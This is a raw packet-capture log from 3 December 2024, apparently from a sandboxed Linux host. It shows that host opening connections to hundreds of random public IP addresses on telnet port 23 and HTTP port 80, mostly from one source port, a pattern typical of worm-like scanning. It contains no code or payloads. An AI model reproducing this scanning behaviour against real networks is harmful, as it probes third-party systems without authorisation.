Dec 3, 2024 21:02:01.633455992 CET	46548	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:01.637943983 CET	23	38508	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:01.638003111 CET	38508	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:01.638298988 CET	38734	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:01.646172047 CET	23	47522	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:01.646189928 CET	23	36646	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:01.646215916 CET	23	59736	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:01.646228075 CET	80	58106	59.56.240.27	192.168.2.23
Dec 3, 2024 21:02:01.646234989 CET	36646	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:01.646234035 CET	47522	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:01.646238089 CET	80	48216	20.138.99.28	192.168.2.23
Dec 3, 2024 21:02:01.646250010 CET	80	49040	190.79.16.71	192.168.2.23
Dec 3, 2024 21:02:01.646253109 CET	59736	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:01.646260977 CET	80	56372	174.173.230.7	192.168.2.23
Dec 3, 2024 21:02:01.646269083 CET	58106	80	192.168.2.23	59.56.240.27
Dec 3, 2024 21:02:01.646272898 CET	80	59470	89.149.14.97	192.168.2.23
Dec 3, 2024 21:02:01.646280050 CET	48216	80	192.168.2.23	20.138.99.28
Dec 3, 2024 21:02:01.646282911 CET	23	47642	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:01.646289110 CET	49040	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:02:01.646292925 CET	56372	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:02:01.646310091 CET	59470	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:02:01.646317959 CET	47642	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:01.646337032 CET	20129	80	192.168.2.23	197.90.48.218
Dec 3, 2024 21:02:01.646337032 CET	20129	80	192.168.2.23	189.121.120.104
Dec 3, 2024 21:02:01.646337032 CET	20129	80	192.168.2.23	60.156.111.56
Dec 3, 2024 21:02:01.646337986 CET	20129	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:01.646347046 CET	20129	80	192.168.2.23	211.67.33.190
Dec 3, 2024 21:02:01.646348953 CET	20129	80	192.168.2.23	189.97.253.228
Dec 3, 2024 21:02:01.646353006 CET	20129	80	192.168.2.23	66.210.76.247
Dec 3, 2024 21:02:01.646363020 CET	20129	80	192.168.2.23	152.49.152.164
Dec 3, 2024 21:02:01.646372080 CET	20129	80	192.168.2.23	205.186.155.79
Dec 3, 2024 21:02:01.646373034 CET	20129	80	192.168.2.23	110.255.21.151
Dec 3, 2024 21:02:01.646375895 CET	20129	80	192.168.2.23	42.164.99.245
Dec 3, 2024 21:02:01.646375895 CET	20129	80	192.168.2.23	133.196.95.238
Dec 3, 2024 21:02:01.646389008 CET	20129	80	192.168.2.23	107.245.191.186
Dec 3, 2024 21:02:01.646395922 CET	20129	80	192.168.2.23	221.18.59.49
Dec 3, 2024 21:02:01.646395922 CET	20129	80	192.168.2.23	126.113.117.192
Dec 3, 2024 21:02:01.646398067 CET	20129	80	192.168.2.23	9.31.200.140
Dec 3, 2024 21:02:01.646398067 CET	20129	80	192.168.2.23	182.223.97.168
Dec 3, 2024 21:02:01.646411896 CET	20129	80	192.168.2.23	82.72.3.78
Dec 3, 2024 21:02:01.646413088 CET	20129	80	192.168.2.23	32.244.27.189
Dec 3, 2024 21:02:01.646413088 CET	20129	80	192.168.2.23	153.201.227.74
Dec 3, 2024 21:02:01.646431923 CET	20129	80	192.168.2.23	172.85.24.159
Dec 3, 2024 21:02:01.646431923 CET	20129	80	192.168.2.23	194.30.117.22
Dec 3, 2024 21:02:01.646435022 CET	20129	80	192.168.2.23	86.250.58.63
Dec 3, 2024 21:02:01.646435022 CET	20129	80	192.168.2.23	81.192.159.238
Dec 3, 2024 21:02:01.646445990 CET	20129	80	192.168.2.23	201.9.156.3
Dec 3, 2024 21:02:01.646447897 CET	20129	80	192.168.2.23	58.219.102.72
Dec 3, 2024 21:02:01.646452904 CET	20129	80	192.168.2.23	41.121.218.26
Dec 3, 2024 21:02:01.646457911 CET	20129	80	192.168.2.23	149.60.94.89
Dec 3, 2024 21:02:01.646459103 CET	20129	80	192.168.2.23	212.174.55.54
Dec 3, 2024 21:02:01.646473885 CET	20129	80	192.168.2.23	31.242.71.50
Dec 3, 2024 21:02:01.646473885 CET	20129	80	192.168.2.23	25.14.115.65
Dec 3, 2024 21:02:01.646482944 CET	20129	80	192.168.2.23	163.178.224.235
Dec 3, 2024 21:02:01.646486044 CET	20129	80	192.168.2.23	14.41.33.210
Dec 3, 2024 21:02:01.646497011 CET	20129	80	192.168.2.23	191.240.232.221
Dec 3, 2024 21:02:01.646505117 CET	20129	80	192.168.2.23	211.139.222.6
Dec 3, 2024 21:02:01.646506071 CET	20129	80	192.168.2.23	17.172.107.142
Dec 3, 2024 21:02:01.646509886 CET	20129	80	192.168.2.23	49.6.79.154
Dec 3, 2024 21:02:01.646511078 CET	20129	80	192.168.2.23	18.156.56.203
Dec 3, 2024 21:02:01.646512032 CET	20129	80	192.168.2.23	34.161.214.217
Dec 3, 2024 21:02:01.646522045 CET	20129	80	192.168.2.23	177.244.31.206
Dec 3, 2024 21:02:01.646523952 CET	20129	80	192.168.2.23	167.210.183.177
Dec 3, 2024 21:02:01.646538973 CET	20129	80	192.168.2.23	163.104.93.247
Dec 3, 2024 21:02:01.646539927 CET	20129	80	192.168.2.23	75.170.248.152
Dec 3, 2024 21:02:01.646539927 CET	20129	80	192.168.2.23	121.253.14.249
Dec 3, 2024 21:02:01.646542072 CET	20129	80	192.168.2.23	107.81.146.141
Dec 3, 2024 21:02:01.646547079 CET	20129	80	192.168.2.23	210.23.10.133
Dec 3, 2024 21:02:01.646548033 CET	20129	80	192.168.2.23	195.4.10.178
Dec 3, 2024 21:02:01.646549940 CET	20129	80	192.168.2.23	156.19.15.85
Dec 3, 2024 21:02:01.646553993 CET	20129	80	192.168.2.23	187.217.234.170
Dec 3, 2024 21:02:01.646559954 CET	20129	80	192.168.2.23	217.156.178.231
Dec 3, 2024 21:02:01.646560907 CET	20129	80	192.168.2.23	67.250.86.57
Dec 3, 2024 21:02:01.646560907 CET	20129	80	192.168.2.23	76.88.142.109
Dec 3, 2024 21:02:01.646573067 CET	20129	80	192.168.2.23	81.5.202.49
Dec 3, 2024 21:02:01.646575928 CET	20129	80	192.168.2.23	144.190.173.220
Dec 3, 2024 21:02:01.646579981 CET	20129	80	192.168.2.23	99.14.122.233
Dec 3, 2024 21:02:01.646579981 CET	20129	80	192.168.2.23	156.30.240.62
Dec 3, 2024 21:02:01.646589041 CET	20129	80	192.168.2.23	137.38.140.240
Dec 3, 2024 21:02:01.646589994 CET	20129	80	192.168.2.23	141.64.94.221
Dec 3, 2024 21:02:01.646608114 CET	20129	80	192.168.2.23	27.21.171.180
Dec 3, 2024 21:02:01.646615028 CET	20129	80	192.168.2.23	2.240.156.201
Dec 3, 2024 21:02:01.646615028 CET	20129	80	192.168.2.23	76.249.78.68
Dec 3, 2024 21:02:01.646617889 CET	20129	80	192.168.2.23	201.138.220.21
Dec 3, 2024 21:02:01.646631956 CET	20129	80	192.168.2.23	171.189.218.172
Dec 3, 2024 21:02:01.646634102 CET	20129	80	192.168.2.23	188.51.241.236
Dec 3, 2024 21:02:01.646636963 CET	20129	80	192.168.2.23	179.43.184.41
Dec 3, 2024 21:02:01.646650076 CET	20129	80	192.168.2.23	126.77.113.171
Dec 3, 2024 21:02:01.646650076 CET	20129	80	192.168.2.23	195.234.110.197
Dec 3, 2024 21:02:01.646656036 CET	20129	80	192.168.2.23	8.209.45.191
Dec 3, 2024 21:02:01.646656990 CET	20129	80	192.168.2.23	114.104.5.217
Dec 3, 2024 21:02:01.646657944 CET	20129	80	192.168.2.23	83.164.121.91
Dec 3, 2024 21:02:01.646657944 CET	20129	80	192.168.2.23	58.83.174.67
Dec 3, 2024 21:02:01.646663904 CET	20129	80	192.168.2.23	185.49.244.20
Dec 3, 2024 21:02:01.646663904 CET	20129	80	192.168.2.23	124.7.79.153
Dec 3, 2024 21:02:01.646667957 CET	20129	80	192.168.2.23	132.110.42.233
Dec 3, 2024 21:02:01.646677971 CET	20129	80	192.168.2.23	157.197.3.76
Dec 3, 2024 21:02:01.646680117 CET	20129	80	192.168.2.23	111.118.72.201
Dec 3, 2024 21:02:01.646681070 CET	20129	80	192.168.2.23	92.36.48.157
Dec 3, 2024 21:02:01.646699905 CET	20129	80	192.168.2.23	181.165.157.152
Dec 3, 2024 21:02:01.646703005 CET	20129	80	192.168.2.23	199.84.179.157
Dec 3, 2024 21:02:01.646706104 CET	20129	80	192.168.2.23	53.34.94.123
Dec 3, 2024 21:02:01.646712065 CET	20129	80	192.168.2.23	114.54.226.199
Dec 3, 2024 21:02:01.646712065 CET	20129	80	192.168.2.23	69.175.101.65
Dec 3, 2024 21:02:01.646712065 CET	20129	80	192.168.2.23	41.226.183.218
Dec 3, 2024 21:02:01.646718025 CET	20129	80	192.168.2.23	201.224.49.49
Dec 3, 2024 21:02:01.646718025 CET	20129	80	192.168.2.23	196.77.163.36
Dec 3, 2024 21:02:01.646718979 CET	20129	80	192.168.2.23	184.164.6.113
Dec 3, 2024 21:02:01.646718979 CET	20129	80	192.168.2.23	31.162.225.183
Dec 3, 2024 21:02:01.646733046 CET	20129	80	192.168.2.23	25.24.158.97
Dec 3, 2024 21:02:01.646733046 CET	20129	80	192.168.2.23	24.35.88.213
Dec 3, 2024 21:02:01.646733999 CET	20129	80	192.168.2.23	209.70.87.248
Dec 3, 2024 21:02:01.646734953 CET	20129	80	192.168.2.23	143.223.181.25
Dec 3, 2024 21:02:01.646735907 CET	20129	80	192.168.2.23	17.252.248.63
Dec 3, 2024 21:02:01.646733046 CET	20129	80	192.168.2.23	197.50.209.201
Dec 3, 2024 21:02:01.646734953 CET	20129	80	192.168.2.23	105.8.170.205
Dec 3, 2024 21:02:01.646739006 CET	20129	80	192.168.2.23	119.27.135.223
Dec 3, 2024 21:02:01.646739006 CET	20129	80	192.168.2.23	109.254.93.231
Dec 3, 2024 21:02:01.646745920 CET	20129	80	192.168.2.23	27.243.92.241
Dec 3, 2024 21:02:01.646739006 CET	20129	80	192.168.2.23	98.102.224.36
Dec 3, 2024 21:02:01.646745920 CET	20129	80	192.168.2.23	147.62.8.201
Dec 3, 2024 21:02:01.646739006 CET	20129	80	192.168.2.23	200.162.160.220
Dec 3, 2024 21:02:01.646748066 CET	20129	80	192.168.2.23	100.200.66.108
Dec 3, 2024 21:02:01.646753073 CET	20129	80	192.168.2.23	84.10.105.170
Dec 3, 2024 21:02:01.646745920 CET	20129	80	192.168.2.23	132.245.150.110
Dec 3, 2024 21:02:01.646753073 CET	20129	80	192.168.2.23	58.163.110.93
Dec 3, 2024 21:02:01.646749020 CET	20129	80	192.168.2.23	130.30.226.87
Dec 3, 2024 21:02:01.646749020 CET	20129	80	192.168.2.23	60.127.243.242
Dec 3, 2024 21:02:01.646759987 CET	20129	80	192.168.2.23	203.100.181.119
Dec 3, 2024 21:02:01.646759987 CET	20129	80	192.168.2.23	110.206.126.113
Dec 3, 2024 21:02:01.646759987 CET	20129	80	192.168.2.23	198.170.21.117
Dec 3, 2024 21:02:01.646759987 CET	20129	80	192.168.2.23	213.170.10.236
Dec 3, 2024 21:02:01.646763086 CET	20129	80	192.168.2.23	116.103.114.189
Dec 3, 2024 21:02:01.646764040 CET	20129	80	192.168.2.23	208.22.58.2
Dec 3, 2024 21:02:01.646765947 CET	20129	80	192.168.2.23	66.196.187.119
Dec 3, 2024 21:02:01.646765947 CET	20129	80	192.168.2.23	25.176.249.161
Dec 3, 2024 21:02:01.646768093 CET	20129	80	192.168.2.23	208.174.21.32
Dec 3, 2024 21:02:01.646770954 CET	20129	80	192.168.2.23	209.53.206.230
Dec 3, 2024 21:02:01.646770954 CET	20129	80	192.168.2.23	117.116.48.146
Dec 3, 2024 21:02:01.646771908 CET	20129	80	192.168.2.23	51.108.74.228
Dec 3, 2024 21:02:01.646771908 CET	20129	80	192.168.2.23	63.213.167.178
Dec 3, 2024 21:02:01.646773100 CET	20129	80	192.168.2.23	57.243.24.224
Dec 3, 2024 21:02:01.646773100 CET	20129	80	192.168.2.23	98.96.105.70
Dec 3, 2024 21:02:01.646773100 CET	20129	80	192.168.2.23	141.12.109.140
Dec 3, 2024 21:02:01.646773100 CET	20129	80	192.168.2.23	68.36.134.46
Dec 3, 2024 21:02:01.646776915 CET	20129	80	192.168.2.23	86.255.53.240
Dec 3, 2024 21:02:01.646780014 CET	20129	80	192.168.2.23	174.107.19.165
Dec 3, 2024 21:02:01.646785021 CET	20129	80	192.168.2.23	27.123.19.29
Dec 3, 2024 21:02:01.646785021 CET	20129	80	192.168.2.23	88.75.184.117
Dec 3, 2024 21:02:01.646799088 CET	20129	80	192.168.2.23	64.148.12.64
Dec 3, 2024 21:02:01.646805048 CET	20129	80	192.168.2.23	27.204.47.39
Dec 3, 2024 21:02:01.646805048 CET	20129	80	192.168.2.23	61.125.228.8
Dec 3, 2024 21:02:01.646817923 CET	20129	80	192.168.2.23	202.101.115.20
Dec 3, 2024 21:02:01.646817923 CET	20129	80	192.168.2.23	160.233.118.97
Dec 3, 2024 21:02:01.646819115 CET	20129	80	192.168.2.23	222.44.30.138
Dec 3, 2024 21:02:01.646827936 CET	20129	80	192.168.2.23	150.29.168.149
Dec 3, 2024 21:02:01.646837950 CET	20129	80	192.168.2.23	121.217.36.137
Dec 3, 2024 21:02:01.646840096 CET	20129	80	192.168.2.23	40.58.160.49
Dec 3, 2024 21:02:01.646850109 CET	20129	80	192.168.2.23	218.120.23.87
Dec 3, 2024 21:02:01.646861076 CET	20129	80	192.168.2.23	62.84.113.13
Dec 3, 2024 21:02:01.646867990 CET	20129	80	192.168.2.23	54.230.146.165
Dec 3, 2024 21:02:01.646878004 CET	20129	80	192.168.2.23	135.123.140.157
Dec 3, 2024 21:02:01.646883011 CET	20129	80	192.168.2.23	45.138.52.154
Dec 3, 2024 21:02:01.646889925 CET	20129	80	192.168.2.23	220.4.225.166
Dec 3, 2024 21:02:01.646898985 CET	20129	80	192.168.2.23	134.198.206.27
Dec 3, 2024 21:02:01.646905899 CET	20129	80	192.168.2.23	42.218.40.149
Dec 3, 2024 21:02:01.646908045 CET	20129	80	192.168.2.23	218.224.138.119
Dec 3, 2024 21:02:01.646924019 CET	20129	80	192.168.2.23	190.9.38.144
Dec 3, 2024 21:02:01.646930933 CET	20129	80	192.168.2.23	116.142.2.128
Dec 3, 2024 21:02:01.646930933 CET	20129	80	192.168.2.23	13.237.105.197
Dec 3, 2024 21:02:01.646931887 CET	20129	80	192.168.2.23	168.110.29.69
Dec 3, 2024 21:02:01.646938086 CET	20129	80	192.168.2.23	72.186.194.124
Dec 3, 2024 21:02:01.646944046 CET	20129	80	192.168.2.23	177.212.130.224
Dec 3, 2024 21:02:01.646954060 CET	20129	80	192.168.2.23	156.8.13.54
Dec 3, 2024 21:02:01.646954060 CET	20129	80	192.168.2.23	171.139.216.136
Dec 3, 2024 21:02:01.646959066 CET	20129	80	192.168.2.23	111.209.201.31
Dec 3, 2024 21:02:01.646965027 CET	20129	80	192.168.2.23	150.89.244.241
Dec 3, 2024 21:02:01.646970987 CET	20129	80	192.168.2.23	46.217.236.182
Dec 3, 2024 21:02:01.646981001 CET	20129	80	192.168.2.23	135.184.153.42
Dec 3, 2024 21:02:01.646989107 CET	20129	80	192.168.2.23	76.253.85.193
Dec 3, 2024 21:02:01.646991014 CET	20129	80	192.168.2.23	12.54.65.251
Dec 3, 2024 21:02:01.646991968 CET	20129	80	192.168.2.23	212.31.7.226
Dec 3, 2024 21:02:01.647001028 CET	20129	80	192.168.2.23	138.247.64.68
Dec 3, 2024 21:02:01.647001028 CET	20129	80	192.168.2.23	19.234.108.185
Dec 3, 2024 21:02:01.647030115 CET	20129	80	192.168.2.23	160.40.29.60
Dec 3, 2024 21:02:01.647031069 CET	20129	80	192.168.2.23	130.141.55.217
Dec 3, 2024 21:02:01.647032022 CET	20129	80	192.168.2.23	177.29.152.127
Dec 3, 2024 21:02:01.647031069 CET	20129	80	192.168.2.23	39.229.108.90
Dec 3, 2024 21:02:01.647041082 CET	20129	80	192.168.2.23	149.40.252.137
Dec 3, 2024 21:02:01.647044897 CET	20129	80	192.168.2.23	196.63.213.109
Dec 3, 2024 21:02:01.647044897 CET	20129	80	192.168.2.23	136.243.40.231
Dec 3, 2024 21:02:01.647044897 CET	20129	80	192.168.2.23	207.215.7.66
Dec 3, 2024 21:02:01.647047043 CET	20129	80	192.168.2.23	111.185.236.116
Dec 3, 2024 21:02:01.647047043 CET	20129	80	192.168.2.23	138.132.110.66
Dec 3, 2024 21:02:01.647044897 CET	20129	80	192.168.2.23	31.131.2.145
Dec 3, 2024 21:02:01.647052050 CET	20129	80	192.168.2.23	142.166.231.197
Dec 3, 2024 21:02:01.647053003 CET	20129	80	192.168.2.23	138.19.173.67
Dec 3, 2024 21:02:01.647053957 CET	20129	80	192.168.2.23	42.85.203.13
Dec 3, 2024 21:02:01.647053957 CET	20129	80	192.168.2.23	75.159.125.225
Dec 3, 2024 21:02:01.647053957 CET	20129	80	192.168.2.23	168.30.174.130
Dec 3, 2024 21:02:01.647056103 CET	20129	80	192.168.2.23	128.133.136.235
Dec 3, 2024 21:02:01.647056103 CET	20129	80	192.168.2.23	154.206.114.18
Dec 3, 2024 21:02:01.647063971 CET	20129	80	192.168.2.23	201.216.169.45
Dec 3, 2024 21:02:01.647063971 CET	20129	80	192.168.2.23	72.141.48.89
Dec 3, 2024 21:02:01.647067070 CET	20129	80	192.168.2.23	48.157.182.172
Dec 3, 2024 21:02:01.647079945 CET	20129	80	192.168.2.23	25.64.231.193
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	54.121.136.2
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	206.99.50.199
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	92.73.129.7
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	191.75.233.228
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	31.107.87.187
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	180.13.171.180
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	44.118.138.65
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	98.7.198.228
Dec 3, 2024 21:02:01.647083998 CET	20129	80	192.168.2.23	9.166.64.6
Dec 3, 2024 21:02:01.647093058 CET	20129	80	192.168.2.23	209.28.226.32
Dec 3, 2024 21:02:01.647125959 CET	20129	80	192.168.2.23	95.192.223.94
Dec 3, 2024 21:02:01.647125959 CET	20129	80	192.168.2.23	74.230.70.43
Dec 3, 2024 21:02:01.647125959 CET	20129	80	192.168.2.23	188.63.16.175
Dec 3, 2024 21:02:01.647128105 CET	20129	80	192.168.2.23	157.16.226.195
Dec 3, 2024 21:02:01.647130966 CET	20129	80	192.168.2.23	107.11.164.96
Dec 3, 2024 21:02:01.647130966 CET	20129	80	192.168.2.23	12.194.15.183
Dec 3, 2024 21:02:01.647133112 CET	20129	80	192.168.2.23	99.48.245.159
Dec 3, 2024 21:02:01.647133112 CET	20129	80	192.168.2.23	122.66.0.152
Dec 3, 2024 21:02:01.647133112 CET	20129	80	192.168.2.23	120.183.138.175
Dec 3, 2024 21:02:01.647136927 CET	20129	80	192.168.2.23	38.243.108.47
Dec 3, 2024 21:02:01.647136927 CET	20129	80	192.168.2.23	124.70.195.136
Dec 3, 2024 21:02:01.647136927 CET	20129	80	192.168.2.23	117.111.76.51
Dec 3, 2024 21:02:01.647136927 CET	20129	80	192.168.2.23	205.126.233.84
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	36.83.197.198
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	205.183.0.120
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	83.25.253.101
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	51.141.135.132
Dec 3, 2024 21:02:01.647339106 CET	20129	80	192.168.2.23	131.111.22.242
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	53.64.60.57
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	113.186.93.19
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	27.189.183.26
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	193.14.136.7
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	46.105.13.179
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	115.3.63.162
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	151.160.228.159
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	113.26.169.105
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	163.89.23.99
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	144.109.113.114
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	106.185.8.253
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	93.69.30.112
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	152.131.83.120
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	82.123.122.139
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	206.141.15.191
Dec 3, 2024 21:02:01.647339106 CET	20129	80	192.168.2.23	94.167.1.171
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	73.7.136.86
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	128.79.217.77
Dec 3, 2024 21:02:01.647339106 CET	20129	80	192.168.2.23	198.238.73.123
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	160.237.132.196
Dec 3, 2024 21:02:01.647339106 CET	20129	80	192.168.2.23	193.20.34.94
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	13.18.35.135
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	124.150.1.244
Dec 3, 2024 21:02:01.647339106 CET	20129	80	192.168.2.23	186.33.227.135
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	27.41.231.253
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	186.126.246.129
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	136.210.76.174
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	60.158.193.2
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	67.114.79.21
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	176.167.88.58
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	140.82.167.157
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	140.20.245.92
Dec 3, 2024 21:02:01.647335052 CET	20129	80	192.168.2.23	119.239.116.149
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	90.252.247.164
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	212.56.144.239
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	168.134.249.63
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	114.26.105.235
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	202.97.243.117
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	212.48.96.151
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	181.161.55.84
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	142.31.124.72
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	219.141.38.212
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	156.231.173.95
Dec 3, 2024 21:02:01.647340059 CET	20129	80	192.168.2.23	210.160.13.171
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	132.253.5.208
Dec 3, 2024 21:02:01.647337914 CET	20129	80	192.168.2.23	107.30.82.58
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	171.58.101.51
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	179.54.43.128
Dec 3, 2024 21:02:01.647336006 CET	20129	80	192.168.2.23	115.89.115.190
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	59.155.77.53
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	108.17.52.223
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	198.132.214.201
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	167.65.230.168
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	156.21.146.195
Dec 3, 2024 21:02:01.647382975 CET	20129	80	192.168.2.23	205.142.4.25
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	147.188.177.160
Dec 3, 2024 21:02:01.647382975 CET	20129	80	192.168.2.23	4.136.162.159
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	58.204.229.7
Dec 3, 2024 21:02:01.647382975 CET	20129	80	192.168.2.23	49.40.127.33
Dec 3, 2024 21:02:01.647381067 CET	20129	80	192.168.2.23	128.14.8.215
Dec 3, 2024 21:02:01.647382975 CET	20129	80	192.168.2.23	202.191.215.206
Dec 3, 2024 21:02:01.647382975 CET	20129	80	192.168.2.23	43.248.158.88
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	187.17.130.77
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	8.152.5.26
Dec 3, 2024 21:02:01.647391081 CET	20129	80	192.168.2.23	199.114.110.32
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	92.179.33.88
Dec 3, 2024 21:02:01.647391081 CET	20129	80	192.168.2.23	71.221.55.84
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	164.240.219.235
Dec 3, 2024 21:02:01.647391081 CET	20129	80	192.168.2.23	13.234.215.240
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	109.116.189.30
Dec 3, 2024 21:02:01.647391081 CET	20129	80	192.168.2.23	216.38.106.177
Dec 3, 2024 21:02:01.647393942 CET	20129	80	192.168.2.23	65.90.31.183
Dec 3, 2024 21:02:01.647391081 CET	20129	80	192.168.2.23	163.7.15.180
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	109.119.87.189
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	62.190.44.90
Dec 3, 2024 21:02:01.647393942 CET	20129	80	192.168.2.23	62.188.112.191
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	153.145.201.232
Dec 3, 2024 21:02:01.647393942 CET	20129	80	192.168.2.23	94.213.71.157
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	73.108.9.251
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	71.167.152.18
Dec 3, 2024 21:02:01.647393942 CET	20129	80	192.168.2.23	156.199.219.207
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	167.250.241.186
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	129.31.98.17
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	82.180.97.8
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	130.187.226.203
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	167.50.47.80
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	78.122.149.108
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	31.133.62.94
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	181.212.69.88
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	69.219.57.126
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	46.14.229.221
Dec 3, 2024 21:02:01.647393942 CET	20129	80	192.168.2.23	197.96.248.12
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	112.114.103.5
Dec 3, 2024 21:02:01.647389889 CET	20129	80	192.168.2.23	206.185.113.170
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	88.239.163.130
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	202.123.25.235
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	36.44.130.160
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	39.135.175.114
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	58.226.219.76
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	204.251.15.138
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	108.18.68.171
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	110.24.85.63
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	24.173.42.139
Dec 3, 2024 21:02:01.647394896 CET	20129	80	192.168.2.23	68.121.121.151
Dec 3, 2024 21:02:01.647396088 CET	20129	80	192.168.2.23	27.69.166.193
Dec 3, 2024 21:02:01.647392988 CET	20129	80	192.168.2.23	172.189.74.140
